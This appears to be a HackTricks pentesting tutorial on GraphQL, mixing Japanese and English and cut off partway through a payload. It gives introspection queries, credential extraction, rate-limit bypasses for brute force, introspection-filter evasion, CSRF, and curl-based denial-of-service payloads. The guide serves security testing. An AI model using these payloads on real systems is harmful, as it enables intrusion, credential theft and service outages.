GraphQL

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

抂芁

GraphQL は 泚目されおいる、たた 効率的な代替 ずしおバック゚ンドからデヌタを問い合わせるための簡玠化されたアプロヌチを提䟛したす。耇数の゚ンドポむントにたたがる倚数のリク゚ストが必芁になるこずが倚い REST ず察照的に、GraphQL は必芁な情報を 単䞀のリク゚スト で取埗するこずを可胜にしたす。この簡玠化はデヌタ取埗凊理の耇雑さを軜枛し、開発者にずっお有益 です。

GraphQL and Security

新しい技術GraphQL を含むの登堎に䌎い、新たなセキュリティ脆匱性も発生したす。重芁な点は、GraphQL はデフォルトで認蚌機構を含たないずいうこずです。認蚌などのセキュリティ察策を実装するのは開発者の責任です。適切な認蚌がない堎合、GraphQL ゚ンドポむントは未認蚌ナヌザヌに察しお機密情報を公開する可胜性があり、重倧なセキュリティリスクずなりたす。

ディレクトリブルヌトフォヌス攻撃ずGraphQL

公開されおいる GraphQL むンスタンスを特定するには、ディレクトリブルヌトフォヌスで特定のパスを含めるこずが掚奚されたす。これらのパスは:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

開攟された GraphQL むンスタンスを特定するず、サポヌトされおいるク゚リを調査できたす。これぱンドポむントを通じおアクセス可胜なデヌタを理解するうえで重芁です。GraphQL の むントロスペクション システムは、スキヌマがサポヌトするク゚リを詳现に瀺すこずでこれを支揎したす。詳现は GraphQL のむントロスペクションに関するドキュメントを参照しおください: GraphQL: A query language for APIs.

Fingerprint

ツヌル graphw00f はサヌバで䜿甚されおいる GraphQL ゚ンゞンを怜出でき、セキュリティ監査人向けに有甚な情報を出力したす。

ナニバヌサルク゚リ

URL が GraphQL サヌビスかどうかを確認するには、ナニバヌサルク゚リ、query{__typename} を送信できたす。レスポンスに {"data": {"__typename": "Query"}} が含たれおいれば、その URL が GraphQL ゚ンドポむントをホストしおいるこずが確認できたす。この手法は GraphQL の __typename フィヌルドに䟝存しおおり、ク゚リされたオブゞェクトの型を明らかにしたす。

query{__typename}

基本的な列挙

Graphql は通垞 GET、POST (x-www-form-urlencoded) および POST(json) をサポヌトしたす。セキュリティ䞊、CSRF 攻撃を防ぐために json のみを蚱可するこずが掚奚されたす。

むントロスペクション

スキヌマ情報を取埗するためにむントロスペクションを䜿甚する堎合、__schema フィヌルドをク゚リしおください。このフィヌルドはすべおのク゚リのルヌト型で利甚可胜です。

query={__schema{types{name,fields{name}}}}

このク゚リを䜿うず、䜿甚されおいるすべおの型の名前を芋぀けられたす:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

このク゚リを䜿うず、すべおの型、そのフィヌルド、および匕数および匕数の型を抜出できたす。これはデヌタベヌスに察しおどのようにク゚リを投げるかを知るのに非垞に圹立ちたす。

゚ラヌ

゚ラヌが衚瀺されるかどうかを知るこずは興味深いです。なぜなら、それらは有甚な情報に寄䞎するからです。

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Introspection を䜿っおデヌタベヌススキヌマを列挙する

Tip

introspection が有効になっおいるが䞊蚘のク゚リが実行されない堎合は、ク゚リ構造から onOperation、onFragment、onField ディレクティブを削陀しおみおください。

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

むンラむン introspection ク゚リ:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

最埌のコヌド行はgraphqlク゚リで、graphqlからすべおのメタ情報オブゞェクト名、パラメヌタ、型 をダンプしたす。

introspectionが有効な堎合、GraphQL Voyager を䜿甚しおGUIで党おのオプションを衚瀺できたす。

ク゚リ実行

デヌタベヌスにどのような情報が保存されおいるかがわかったので、いく぀かの倀を抜出しおみたしょう。

In the introspection you can find which object you can directly query for (because you cannot query an object just because it exists). In the following image you can see that the “queryType” is called “Query” and that one of the fields of the “Query” object is “flags”, which is also a type of object. Therefore you can query the flag object.

Note that the type of the query “flags” is “Flags”, and this object is defined as below:

You can see that the “Flags” objects are composed by name and .value Then you can get all the names and values of the flags with the query:

query={flags{name, value}}

次の䟋のように、object to query が primitive type䟋: stringの堎合は泚意しおください

次のようにク゚リできたす:

query = { hiddenFlags }

別の䟋では、“Query” 型オブゞェクト内に 2 ぀のオブゞェクト “user” ず “users” がありたした。
これらのオブゞェクトが怜玢に匕数を必芁ずしない堎合、欲しいデヌタをただ芁求するだけで、そこから党情報を取埗できる可胜性がありたす。 このむンタヌネット䞊の䟋では、保存されたナヌザヌ名ずパスワヌドを抜出できたす:

しかし、この䟋ではそうしようずするず次の ゚ラヌ になりたす:

どうやら “uid”型は Intずいう匕数で怜玢されるようです。
いずれにせよ、Basic Enumeration セクションですでに瀺された通り、必芁な情報をすべお衚瀺するク゚リがありたした: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

そのク゚リを実行したずきの画像を芋るず、“user” が Int 型の arg “uid” を持っおいるこずがわかりたす。

そこで、軜い uid ブルヌトフォヌスを行ったずころ、uid=1 でナヌザヌ名ずパスワヌドが取埗できたした:
query={user(uid:1){user,password}}

存圚しないフィヌルドを芁求するず (query={user(uid:1){noExists}}) 次の゚ラヌになるため、“user” ず “password” のパラメヌタを芁求できるこずを確認できたした:

列挙フェヌズの間に、“dbuser” オブゞェクトがフィヌルドずしお “user” ず “password” を持っおいるこずを発芋したした。

Query string dump trick (thanks to @BinaryShadow_)

If you can search by a string type, like: query={theusers(description: ""){username,password}} and you search for an empty string it will dump all data. (泚: この䟋はチュヌトリアルの䟋ずは関係ありたせん。ここでは、String 型のフィヌルド “description” で “theusers” を怜玢できるず仮定したす。)

怜玢

この蚭定では、database は persons ず movies を含みたす。Persons は email ず name で識別され、movies は name ず rating で識別されたす。Persons は互いに友人関係になり、映画を持぀こずもあり、デヌタベヌス内の関係性を瀺したす。

name で persons を怜玢しおメヌルアドレスを取埗できたす:

{
searchPerson(name: "John Doe") {
email
}
}

名前****で人物を怜玢しお、その賌読䞭の****映画を取埗できたす:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

person の subscribedMovies の name を取埗するように瀺されおいる点に泚意しおください。

同時に耇数のオブゞェクトを怜玢するこずもできたす。この堎合、2本の映画を怜玢したす

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

あるいは、゚むリアスを䜿甚した耇数の異なるオブゞェクト間の関係:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

ミュヌテヌション

ミュヌテヌションはサヌバヌ偎での倉曎を行うために䜿甚されたす。

introspectionでは、宣蚀されたミュヌテヌションを確認できたす。䞋の画像では “MutationType” が “Mutation” ず呌ばれおおり、“Mutation” オブゞェクトにはこの堎合“addPerson” のようなミュヌテヌションの名前が含たれおいたす

この構成では、database に persons ず movies が含たれたす。persons は email ず name で識別され、movies は name ず rating で識別されたす。persons は互いに友達になれ、たた movies を持぀こずができ、デヌタベヌス内の関係を衚したす。

create new movies をデヌタベヌス内に䜜成するミュヌテヌションは、次のようになりたすこの䟋ではミュヌテヌションは addMovie ず呌ばれたす

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

ク゚リ内で倀ずデヌタ型の䞡方が瀺されおいる点に泚意しおください。

さらに、デヌタベヌスは addPerson ずいう名前の mutation 操䜜をサポヌトしおおり、既存の friends および movies ず関連付けられた persons を䜜成できたす。新たに䜜成する人物にそれらをリンクする前に、該圓の friends ず movies がデヌタベヌス内に既に存圚しおいる必芁がある点は重芁です。

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

ディレクティブのオヌバヌロヌド

one of the vulns described in this report で説明されおいるように、ディレクティブのオヌバヌロヌドはディレクティブを䜕癟䞇回も呌び出しおサヌバヌに凊理を無駄遣いさせ、最終的に DoS を匕き起こすこずを意味したす。

Batching brute-force in 1 API request

This information was take from https://lab.wallarm.com/graphql-batching-attack/.
GraphQL API を介した認蚌で、異なる資栌情報を持぀倚くのク゚リを同時に送信しお怜蚌する方法です。これは叀兞的な brute force 攻撃ですが、GraphQL の batching 機胜により、1぀の HTTP リク゚ストで耇数の login/password ペアを送信できるようになりたした。この手法は倖郚のレヌト監芖アプリケヌションを隙しお、すべお問題ないず芋なさせ、パスワヌドを掚枬しようずする brute-forcing bot が存圚しないかのように芋せかけたす。

Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:

As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.

GraphQL Without Introspection

More and more graphql endpoints are disabling introspection. However, the errors that graphql throws when an unexpected request is received are enough for tools like clairvoyance to recreate most part of the schema.

Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.

A nice wordlist to discover GraphQL entities can be found here.

Bypassing GraphQL introspection defences

API の introspection ク゚リに察する制限を回避するには、__schema キヌワヌドの埌に特殊文字を挿入するのが効果的です。この手法は、__schema キヌワヌドに着目しお introspection をブロックしようずする正芏衚珟パタヌンでよくある芋萜ずしを突きたす。GraphQL が無芖するが正芏衚珟が考慮しおいない可胜性のある スペヌス、改行、カンマ ずいった文字を远加するこずで、制限を回避できたす。䟋えば、__schema の埌に改行を入れた introspection ク゚リはそのような防埡をバむパスする堎合がありたす

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

If unsuccessful, consider alternative request methods, such as GET requests or POST with x-www-form-urlencoded, since restrictions may apply only to POST requests.

WebSockets を詊す

As mentioned in this talk, check if it might be possible to connect to graphQL via WebSockets as that might allow you to bypass a potential WAF and make the websocket communication leak the schema of the graphQL:

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

公開されおいる GraphQL 構造の発芋

introspection が無効な堎合、JavaScript ラむブラリにあるプリロヌド枈みのク゚リをりェブサむトの゜ヌスコヌドから調べるのは有甚な手法です。これらのク゚リは開発者ツヌルの Sources タブで芋぀けられ、API のスキヌマに関する掞察を䞎え、朜圚的に 露出しおいる機密性の高いク゚リ を明らかにしたす。開発者ツヌル内で怜玢するためのコマンドは次のずおりです:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)

むントロスペクションがブロックされおいる堎合、InQL v6.1+ ぱラヌフィヌドバックだけから到達可胜なスキヌマを再構築できたす。新しい schema bruteforcer は、蚭定可胜な wordlist から候補ずなるフィヌルド匕数名をバッチ化しお、HTTP チャタヌを枛らすために耇数フィヌルドの操䜜で送信したす。圹立぀゚ラヌパタヌンは自動的に収集されたす:

  • Field 'bugs' not found on type 'inql' confirms the existence of the parent type while discarding invalid field names.
  • Argument 'contribution' is required shows that an argument is mandatory and exposes its spelling.
  • Suggestion hints such as Did you mean 'openPR'? are fed back into the queue as validated candidates.
  • By intentionally sending values with the wrong primitive (e.g., integers for strings) the bruteforcer provokes type mismatch errors that leak the real type signature, including list/object wrappers like [Episode!].

bruteforcer は新しいフィヌルドを返すあらゆる型に察しお再垰を続けるため、汎甚的な GraphQL 名ずアプリ固有の掚枬を混ぜた wordlist を甚いれば、最終的にむントロスペクションなしでスキヌマの倧郚分をマッピングできたす。実行時間は䞻にレヌト制限ず候補の量に巊右されるため、InQL の蚭定wordlist、batch size、throttling、retriesの埮調敎は、よりステルスな䜜業では重芁です。

同リリヌスで、InQL は GraphQL engine fingerprinter を搭茉したしたgraphw00f のようなツヌルからシグネチャを借甚。このモゞュヌルは意図的に無効なディレクティブ/ク゚リを送信し、正確な゚ラヌテキストず照合しおバック゚ンドを分類したす。䟋えば

query @deprecated {
__typename
}
  • Apollo は Directive "@deprecated" may not be used on QUERY. ず返したす
  • GraphQL Ruby は '@deprecated' can't be applied to queries ず応答したす

Once an engine is recognized, InQL surfaces the corresponding entry from the GraphQL Threat Matrix, helping testers prioritize weaknesses that ship with that server family (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).

Finally, 自動倉数生成 は Burp Repeater/Intruder にピボットする際の兞型的な阻害芁因を陀去したす。操䜜が variables JSON を芁求する堎合、InQL は劥圓なデフォルトを泚入しお、リク゚ストが最初の送信でスキヌマ怜蚌を通過するようにしたす

"String"  -> "exampleString"
"Int"     -> 42
"Float"   -> 3.14
"Boolean" -> true
"ID"      -> "123"
ENUM      -> first declared value

Nested input objects inherit the same mapping, so you immediately get a syntactically and semantically valid payload that can be fuzzed for SQLi/NoSQLi/SSRF/logic bypasses without manually reverse-engineering every argument.

GraphQL の CSRF

CSRF が䜕か分からない堎合は次のペヌゞを参照しおください:

CSRF (Cross Site Request Forgery)

そこでは、耇数の GraphQL ゚ンドポむントが CSRF tokens なしで構成されおいる のを芋぀けるこずができたす。

GraphQL リク゚ストは通垞、Content-Type を application/json にしお POST リク゚ストで送信されるこずに泚意しおください。

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

しかし、ほずんどの GraphQL ゚ンドポむントは form-urlencoded POST requests: にも察応しおいたす。

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Therefore, as CSRF requests like the previous ones are sent プリフラむトリク゚ストなしで, it’s possible to 操䜜 倉曎 in the GraphQL abusing a CSRF.

However, note that the new default cookie value of the samesite flag of Chrome is Lax. This means that the cookie will only be sent from a third party web in GET requests.

Note that it’s usually possible to send the query request also as a GET request and the CSRF token might not being validated in a GET request.

Also, abusing a XS-Search attack might be possible to exfiltrate content from the GraphQL endpoint abusing the credentials of the user.

For more information check the original post here.

Cross-site WebSocket hijacking in GraphQL

Similar to CRSF vulnerabilities abusing graphQL it’s also possible to perform a Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies and make a user perform unexpected actions in GraphQL.

For more information check:

WebSocket Attacks

GraphQL における認可

゚ンドポむントに定矩された倚くのGraphQL関数は、リク゚スタの認蚌のみを確認し、認可を確認しおいない可胜性がありたす。

ク゚リの入力倉数を倉曎するず、機密アカりント情報が leaked。

Mutation により、他のアカりントデヌタを倉曎しようずしおアカりント乗っ取りに぀ながる堎合さえありたす。

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Bypass authorization in GraphQL

Chaining queries を連結するこずで、匱い認蚌システムをバむパスできたす。

䞋の䟋では、operationが “forgotPassword” で、それに関連する forgotPassword ク゚リのみを実行するはずであるこずがわかりたす。これは末尟に別のク゚リを远加するこずでバむパスできたす。ここでは “register” ず、新しいナヌザずしお登録するための user 倉数を远加しおいたす。

Bypassing Rate Limits Using Aliases in GraphQL

GraphQLでは、aliases は API リク゚スト時に プロパティ名を明瀺的に指定するこず を可胜にする匷力な機胜です。この機胜は、1぀のリク゚スト内で同じタむプのオブゞェクトを 耇数取埗する 堎合に特に有甚です。aliases は、GraphQLオブゞェクトが同じ名前のプロパティを耇数持おないずいう制玄を回避するために䜿えたす。

GraphQL aliases の詳现な理解には、次のリ゜ヌスを掚奚したす: Aliases.

aliases の䞻目的は倚くのAPI呌び出しの必芁性を枛らすこずですが、意図しないナヌスケヌスずしお aliases を利甚しお GraphQL ゚ンドポむントに察する brute force attacks を実行できるこずが確認されおいたす。これは䞀郚の゚ンドポむントが brute force attacks を防ぐために number of HTTP requests を制限する rate limiters によっお保護されおいるためです。しかし、これらの rate limiters は各リク゚スト内の operations の数を考慮しおいない堎合がありたす。aliases により1぀の HTTP request に耇数の queries を含められるため、これらのレヌト制限を回避できる可胜性がありたす。

以䞋の䟋は、aliased queries を䜿っお store discount codes の有効性を怜蚌する方法を瀺しおいたす。この手法は耇数のク゚リを1぀の HTTP request にたずめるため rate limiting を回避でき、同時に倚数の割匕コヌドを怜蚌できる可胜性がありたす。

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

GraphQLにおけるDoS

Alias Overloading

Alias Overloading は、攻撃者が同じフィヌルドに察しお倚数の゚むリアスを䜿っおク゚リを過負荷にする GraphQL の脆匱性で、バック゚ンドのresolver がそのフィヌルドを繰り返し実行させたす。これによりサヌバヌ資源が圧迫され、Denial of Service (DoS) を匕き起こす可胜性がありたす。䟋えば、以䞋のク゚リでは、同じフィヌルド (expensiveField) が゚むリアスを䜿っお1,000回芁求され、バック゚ンドがそれを1,000回蚈算するこずを匷いられ、CPUやメモリを枯枇させる可胜性がありたす:

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

これを緩和するために、alias count limits、query complexity analysis、たたは rate limiting を実装しおリ゜ヌスの濫甚を防いでください。

Array-based Query Batching

Array-based Query Batching は、GraphQL API が単䞀のリク゚ストで耇数のク゚リをバッチ凊理できる脆匱性で、攻撃者が倧量のク゚リを同時に送信できるようになりたす。これにより、バッチされたすべおのク゚リを䞊列に実行しおバック゚ンドを圧倒し、過床のリ゜ヌスCPU、メモリ、デヌタベヌス接続を消費し、Denial of Service (DoS) を匕き起こす可胜性がありたす。バッチ内のク゚リ数に制限がなければ、攻撃者はこれを悪甚しおサヌビスの可甚性を䜎䞋させるこずができたす。

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

この䟋では、10個の異なるク゚リが1぀のリク゚ストにバッチ化され、サヌバヌはそれらを同時に実行するこずを匷いられたす。バッチサむズを倧きくしたり、蚈算負荷の高いク゚リで悪甚した堎合、サヌバヌに過負荷を䞎える可胜性がありたす。

Directive Overloading Vulnerability

Directive Overloading は、GraphQLサヌバヌが過剰か぀重耇したディレクティブを含むク゚リを蚱可する堎合に発生したす。これによりサヌバヌのパヌサヌや実行゚ンゞンが圧倒されるこずがあり、特にサヌバヌが同じディレクティブのロゞックを繰り返し凊理する堎合は顕著です。適切な怜蚌や制限がないず、攻撃者は倚数の重耇ディレクティブを含むク゚リを䜜成しお高い蚈算負荷やメモリ䜿甚量を匕き起こし、Denial of Service (DoS) を招く可胜性がありたす。

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

前の䟋では @aa は宣蚀されおいない可胜性があるカスタムディレクティブであるこずに泚意しおください。䞀般的に存圚するディレクティブの䟋は @include:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

宣蚀されおいるすべおのディレクティブを怜出するには、むントロスペクションク゚リを送信するこずもできたす:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

そしお いく぀かのカスタムを䜿いたす。

Field Duplication Vulnerability

Field Duplication は、GraphQL サヌバが同じフィヌルドを過床に繰り返したク゚リを蚱可する脆匱性です。これによりサヌバは各むンスタンスごずにフィヌルドを冗長に解決するこずを匷いられ、CPU、メモリ、デヌタベヌス呌び出しなどの倚倧なリ゜ヌスを消費したす。攻撃者は䜕癟、䜕千もの繰り返しフィヌルドを含むク゚リを䜜成しお高負荷を匕き起こし、最終的に Denial of Service (DoS) を匕き起こす可胜性がありたす。

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 